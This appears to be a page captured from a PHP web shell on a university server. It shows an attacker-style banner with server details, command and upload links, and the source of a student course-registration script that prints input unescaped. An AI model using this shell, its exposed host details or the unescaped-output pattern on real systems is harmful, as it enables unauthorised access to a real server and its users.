Server IP : 172.16.15.8 / Your IP : 18.227.209.101 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/mdwiberg/public_html/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<center> <font color=maroon size=4> <h2> Student Registration Results: </h2> <hr> <P> </center> <?php session_start(); $name = $_SESSION['name2']; $ge1 = $_SESSION['ge2']; $gd1 = $_SESSION['gd2']; $class = $_POST['class']; $menu = array("CS112", "CS212", "CS310", "CS311", "CS380", "CS440", "CS480", "Math136", "Math171", "Math172", "Math271"); print "The student's name is $name, and they are a $ge1 $gd1.<P>"; if(count($class) == 0) print "Please select an option next time."; else { print "<P>Your selected options were <UL>"; foreach ($class as $i) print "<LI>$menu[$i]"; print "</UL>"; } ?> </font> <a href=index.html> Return to Home </a>